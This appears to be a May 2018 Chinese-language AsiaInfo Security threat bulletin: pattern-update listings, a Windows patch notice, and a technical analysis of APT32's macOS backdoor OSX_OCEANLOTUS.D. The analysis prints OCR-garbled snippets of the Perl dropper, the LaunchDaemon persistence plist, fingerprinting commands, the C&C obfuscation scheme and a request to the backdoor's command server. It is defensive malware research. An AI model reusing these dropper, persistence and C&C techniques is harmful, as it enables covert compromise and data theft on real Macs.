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病毒情报中心
 
系统漏洞信息
一周病毒情况报告
亚信安全热门病毒综述- PE_XIAOBAMINER.SM
 
KB4093109
系统安全技巧
 
亚信安全产品
APT 32组织装备新型“网络攻击武器”，亚信安全强力解读
病毒码发布情况
 
一周病毒情况报告
 
本周用户报告感染数量较多的病毒列表
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Ripper*家族
 
亚信安全热门病毒综述
 
亚信安全热门病毒综述- PE_XIAOBAMINER.SM
该病毒通过可移动硬盘传播，其会感染可执行文件，在文件中插入恶意代码。其还会改写系统hosts文件，阻止用户访问安全相关网站。
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对该病毒的防护可以从下述连接中获取最新版本的病毒码：14.233.60
 
http://support.asiainfo-sec.com/Anti-Virus/China-Pattern/Pattern/
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病毒详细信息请查询：
 
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/pe_xiaobaminer.sm
 
系统漏洞信息
 
Windows安全更新 (4093109)
Windows 10 Version 1511 for 32-bit Systems 
Windows 10 Version 1511 for x64-based Systems
描述：https://portal.msrc.microsoft.com/zh-cn/security-guidance
 
亚信安全产品
 
病毒码发布情况
亚信安全在最近一周发布中国区病毒码情况如下：
 
2018年04月30日发布病毒码14.221.60
2018年05月01日发布病毒码14.221.60
2018年05月02日发布病毒码14.223.60
2018年05月03日发布病毒码14.225.60
2018年05月04日发布病毒码14.227.60
截至目前，病毒码的最高版本为14.233.60发布于2018年05月07日。
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病毒码下载地址为：
 
http://support.asiainfo-sec.com/Anti-Virus/China-Pattern/Pattern/
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您也可以从以下链接下载TSUT工具进行趋势科技Windows平台产品的更新：
 
http://support.asiainfo-sec.com/Anti-Virus/China-Pattern/TSUT/
趋势科技在最近一周发布全球病毒码情况如下：
 
2018年04月30日发布病毒码14.221.00
2018年05月01日发布病毒码14.223.00
2018年05月02日发布病毒码14.225.00
2018年05月03日发布病毒码14.227.00
2018年05月04日发布病毒码14.229.00
截至目前，病毒码的最高版本为4.235.00，发布于2018年05月07日。
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病毒码下载地址为：
 
http://support.asiainfo-sec.com/Anti-Virus/Main-Pattern/
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您也可以从以下链接下载TSUT工具进行趋势科技Windows平台产品的更新：
http://support.asiainfo-sec.com/Anti-Virus/TSUT/
系统安全技巧
 
事件描述

海莲花APT组织（又名APT 32，APT-C-00，SeaLotus和Cobalt Kitty）是一个高度组织化的、专业化的境外黑客组织，该APT组织主要针对人权组织，媒体，研究机构和海事建筑公司等进行高级持续性攻击。亚信安全多年来一直持续追踪海莲花组织，近日，我们发现该组织使用最新的MacOS后门程序，对装有Perl程序的Mac系统进行攻击，亚信安全截获了该后门程序，并将其命名为OSX_OCEANLOTUS.D。

OSX_OCEANLOTUS.D技术分析

MacOS后门程序通过带有恶意word文档的电子邮件传播，Word文档原始文件名为“2018-PHIẾU  GHI  DANH  THAM  DỰ  TĨNH  HỘI HMDC 2018.doc”， 翻译成中文就是“2018年HMDC大会登记表”， 而HMDC是一个在越南宣传民族独立和民主的组织。
[image: image9.png]This Microsoft Word version don’t
support documents created in older
versions

To read this document, activate the compatibility mode for older
version. You can activate it, please reopen and click "Enable Macro"
to view contents.





【恶意文档运行时的截图】

当收件人打开该文档时，该后门程序会建议收件人启用宏。而这个恶意宏则采用了十进制ASCII代码逐个字符地进行混淆，以逃避各种杀毒软件的检测。
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【文档混淆后的代码片段】

去除混淆后，我们可以看到有效负载是用Perl编程语言编写的。它会从Word文档中提取theme0.xml文件。theme0.xml是一个带有0xFEEDFACE签名的Mach-O 32位可执行文件，其也是该后门程序最终有效载荷。theme0.xml在执行之前会先解压到/ tmp / system / word / theme / syslogd目录。
[image: image11.png]#1/ysx/bin/pRzd
use File::Copy:

SpathFolderFile = "/tmp/systen”;

SpathFile = SpathFolderFile . "/system”;

Spath = "/Volumes/" . fpdajafmrc;

Spath =~ vx/:/\//:

mkdir (SpathFoldesFile) ;

copy(Spath, SpathFile);

system(munzip " . SpathFile . " -d " . SpathFolderFile);

system("chmod +x \"* . SpathFolderFile . "/word/theme/| S

move ("SpathFolderFile/word/thene/thene0. xnl” , "S$pathFolderFile/word/thens/syslogd” ) ;
system("\"$pathFolderFile/word/thens/syslogd\" ++ ") ;

sleep(l);

system("rm -Rf /tmp/systen”) ;

system("rm /tmp/modern”)

system (echo 's1
system (perl /tmp/:

ne' > /tmp/m
B





【去除混淆后的Perl有效载荷】

Dropper分析

Dropper用于将后门安装到受感染系统中并建立其持久性攻击机制。

[image: image12.png]setStar‘tup(),:d()

G0PTD = getpid(); T
_pidpath(dwPID, &szPath,

ek e ath);





【Dropper的主要功能】

Dropper的所有字符串以及后门均使用硬编码的RSA256密钥进行加密。其中，有两种形式的加密字符串：RSA256加密的字符串，以及自定义的base64编码和RSA256加密的字符串。
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【硬编码的RSA256密钥会显示前20个字符】

Dropper会使用setStartup（）方法来判断其是否以root身份运行。并以此做为依据，使用GET_PROCESSPATH和GET_PROCESSNAME方法对后门安装的路径和文件名进行解密： 
· root用户
路径：/Library/CoreMediaIO/Plug-Ins/FCP-DAL/iOSScreenCapture.plugin/Contents/Resources/

进程名：screenassistantd
· 普通用户
路径：〜/ Library / Spelling /

进程名：spellagentd
随后，它使用Loader :: installLoader方法，读取硬编码的64位Mach-O可执行文件（magic value 0xFEEDFACF），并写入先前确定的路径和文件。
[image: image14.png]if ( Loaderssinstallloader((Loader *)v2, v3) )
1

hiddenFile(v4);
setTimeFile(v2);

:




【Dropper安装后门，将其属性设置为“hidden”，并设置随机文件的日期和时间】
当Dropper安装后门时，其会将属性设置为“hidden”，并使用touch命令将文件日期和时间设置为随机值：touch -t YYMMDDMM“/ path / filename”> / dev / null。与此同时，访问权限被更改为0x1ed = 755，相当于u = rwx，go = rx。
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【Mach-O 可执行文件（64位）的magic value 0xFEEDFACF】

用GET_LAUNCHNAME和GET_LABELNAME方法为root用户（com.apple.screen.assistantd.plist）和普通用户（com.apple.spell.agent.plist）返回属性列表“ .plist ” 的硬编码名称。之后，其会在/ Library / LaunchDaemons /或〜/ Library / LaunchAgents /  文件夹中创建持久性文件。当操作系统启动时，RunAtLoad用来运行守护进程，而KeepAlive使进程无限期地运行。该持久性文件被设置为掩藏属性，文件的时间和日期也是随机生成的。
[image: image16.png]ece | com.apple.screenassistantd.plist —
<7xnl_version="1.0" encoding="UTF-8"7>

<IDOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.//EN
Propertylist-1.0.5td">

<plist versio

<dict
<key>Label</key>
<string>com.apple.screen. assistantds/string>
<key>Programargunents</ key

<array
<string>/Library/CoreMedial0/Plug-Tns/FCP-DAL/i05creenCapture. plugin/Contents/Resources/
ssistantds/string>

http://wan. apple. con/DTDs/

<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

</dict>

</plist>




【具有持久性设置的属性列表】

launchctl load /Library/LaunchDaemons/filename.plist> / dev / nul或launchctl load〜/ Library / LaunchAgents / filename.plist> / dev / nul命令使得操作系统在登录时启动生成的后门文件，随后Dropper将会删除自身。
后门分析

后门包含两个主要函数infoClient和runHandle。infoClient负责将收集到的操作系统信息发送给C&C服务器（服务器本身是恶意的），并接收来自C&C服务器的返回信息，而runHandle负责后门功能。

[image: image17.png]while (1)

if ( HandlepP: (dwRandonTinesleep) )
Handlepp: :runandle(duRandonTinesleep) 5
duTineseed = time(oLL);

srand(dvTineseed);

duRandonValue = rand();

duRandonTimeSleep = (HandlePP *)(dwRandomvalue





【后门的主要功能】

infoClient在HandlePP类中填充的变量：
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【HandlePP类的变量列表】

clientID是从环境变量衍生的MD5哈希，而strClientID是clientID的十六进制表示。以下所有字符串均通过AES256和base64编码加密。HandlePP :: getClientID方法使用的是下面的环境变量：
[image: image19.png]loreg

4l -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, "\""); printf("ss", line(4]





【序列号】

[image: image20.png]ioreg -rdl -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, lime, "\""); printf("ss", line[4]); }*




【硬件UUID】

[image: image21.png]ifconfig en0 | awk '/ether/{print §2}'




【MAC地址】
[image: image22.png]uuidgen




【随机生成的UUID】

对于初始信息包，后门还收集以下信息：
[image: image23.png]sw_vers -productVersion




【操作系统版本】

运行getpwuid - > pw_name，scutil - -get ComputerName和uname -m将分别提供以下返回值：

•
Mac OSX 10.12.

•
System Administrator

•
<owner’s name>’s iMac

•
x86_64
所有这些数据在发送到C&C服务器之前都被加密。详细过程如下所述:

1．
扰码

类解析器的方法有多种，每个变量类型的解析方法各不同，比如 Parser::inBytes, Parser::inByte, Parser::inString以及 Parser::inInt.。
[image: image24.png].

vis clientIn, ox10);

inBytes((Parser *)&/74, &HandlePF





【Parser :: inByte方法】

如果clientID等于以下字节序列B4 B1 47 BC 52 28 28 73 1F 1A 01 6B FA 72 C0 73，那么这个扰码的版本就是使用第三个参数(0x10)计算的，其被当做一个DWORD来处理，每4个字节都与它进行异或，如下例所示。
[image: image25.png]B4 BL 47 BC 52 28 28 73 1F 1A 01 6B FA 72 CO 73
X0R
10 00 00 00 10 00 00 00 10 00 00 00 10 00 00 00
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[image: image26.png]+1inByte((Parser *)&v72, vis, '1');





【Parser :: inByte方法】

当扰码一个字节时，扰码器首先确定字节值是奇数还是偶数。如果该值为奇数，则将该字节和一个随机生成的字节一起添加到数组中。在偶数值的情况下，首先添加随机生成的字节，然后添加该字节。在上面的例子中，第三个参数是'1'= 0x31，这是一个奇数。这意味着它将字节'1'和一个随机生成的字节添加到最终的扰码阵列。
[image: image27.png]A

V22 = Parser::inString((Parser *)&74, sz0SversionString, *((_DWORD *)sz0SversionString - 6));





【Parser :: inString方法】

扰码一个字符串时，扰码器产生一个5字节长的序列。首先，它产生一个随机字节，随后是三个零字节，一个随机字节，最后是字符串长度的字节。假设我们想要混淆字符串 'Mac OSX 10.12'。它的长度是13 = 0x0d，两个随机字节是0xf3和0x92。最后的5字节序列看起来像F3 00 00 00 92 0D，然后原始字符串与5字节序列异或。
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【扰码Mac OSX 10.12】

2．
 加密

加密的字节序列被传递到Packet :: Packet类的构造函数中，该类创建随机AES256密钥并使用此密钥加密缓冲区。

3．
编码加密密钥

为了使C&C服务器解密和加密数据，随机生成的AES256密钥必须与加密数据一起包含在数据包中。然而，这个密钥也是通过异或操作XOR 0x13进行扰码的，随后对每个字节应用ROL 6操作。

[image: image29.png]vB[nCounter] = _ ROL1__(vB[nCounter] 4 @x13, 6); |




【在输出数据包中扰码AES256密钥的函数】

扰码和加密过程中的一些屏幕截图
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【灰色部分的字节表示已加密的计算机信息】
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【随机生成AES256密钥】
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【扰码的AES256密钥（0xC1异或0x13 = 0xD2，0xD2 ROL 6 = 0xB4）等）】
[image: image33.png]0000000100307760
0000000100207750
00000001003077A0
0000000100307720
0000000100207800
0000000100207810
0000000100207820

EB. £

s88aBIRE I Souy!





【使用AES256密钥加密的计算机信息】
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【发送到C＆C服务器的最终有效载荷的屏幕截图，扰码的AES256密钥标记为绿色，而加密的计算机信息标记为红色，其他是随机生成的字节】

当后门收到来自C&C服务器的响应时，最终有效载荷需要通过解密和扰码类似的方式进行解码。 Packet :: getData解密接收到的有效载荷，而Converter::outString 负责对结果进行解扰。

从C&C服务器收到的数据包含以下信息：

•
HandlePP :: urlRequest（/appleauth/static/cssj/N252394295/widget/auth/app.css）

•
HandlePP :: keyDecrypt

•
STRINGDATA :: BROWSER_SESSION_ID（m_pixel_ratio）

•
StringData是:: RESOURCE_ID

这些数据稍后将在C&C通信中使用，如下面的Wireshark屏幕截图所示：
[image: image35.png]GET /appleauth/static/cssj/N252394295/widget/auth/app.css HTTP/1.1
Host: ssl.arkouthrie.com
User-agent: curl/7.11.3
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【交换系统数据包信息后与C＆C服务器的通信】

同时，该后门程序的runHandle方法将使用以下后门命令（每个命令有一个字节长的代码并由Packet :: getCommand提取）调用requestServer方法：
[image: image36.png]dnCommand = (unsigned _ints)Packet::gEECOMRBNA (Packet *)&oPacket);




【getCommand 方法】

如下两个示例都创建了一个线程，每个线程负责下载和执行文件或在终端中运行命令行程序：

[image: image37.png]if ( duCommand
{
v3e = 15
v6 = (char *)@ppthread_attr._
pthread_create(&v55, &ppthread attr t
goto LABEL_164;
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if ( dwCommand
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Vo = 15
V6 = (char *)&ppthread_attr_t;
pthread_create(&v55, &pthread s
goto LABEL_164;

oxac )

(void *(__cdecl *)(void *))respondRunTerminalThread, v45);





【用于下载和执行以及在终端中运行命令的命令】

[image: image38.png]$f ( ducComand == 0x72 )
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V6 = (char *)8ppthread attr_t;
pthread_create(&v55, &pthread_st
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(void *(__cdecl *)(void *))respondDownloadThread, va





【用于上传和下载文件的命令】
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【支持的命令及其各自的代码】

亚信安全解决方案：

· 亚信安全病毒码版本14.213.60 (云病毒码版本14.215.71，全球码版本14.213.00)已经可以检测，请用户及时升级病毒码版本。
· 亚信安全邮件安全网关产品，可以有效拦截钓鱼攻击邮件，在源头上进行阻断。
“海莲花”组织使用最新后门程序，意味着该组织不仅仍处于活跃状态，而且还在不断升级自己的武器库。尽管Mac系统被公认为是更加安全的系统，但并不表示Mac系统就绝对安全。因此，无论使用什么操作系统版本，用户都很有必要警惕网络钓鱼活动，并采取主动防御措施。
 
免责声明
 
该邮件列表仅用于提供信息，此邮件列表内容不负任何担保责任，没有明示或默示的保证，包括但不限于对适销性、特定用途适用性以及不受侵害的暗示保证。用户对此邮件列表的准确性和使用承担全部风险，因依赖该资料所致的任何损失，亚信安全均不负责。
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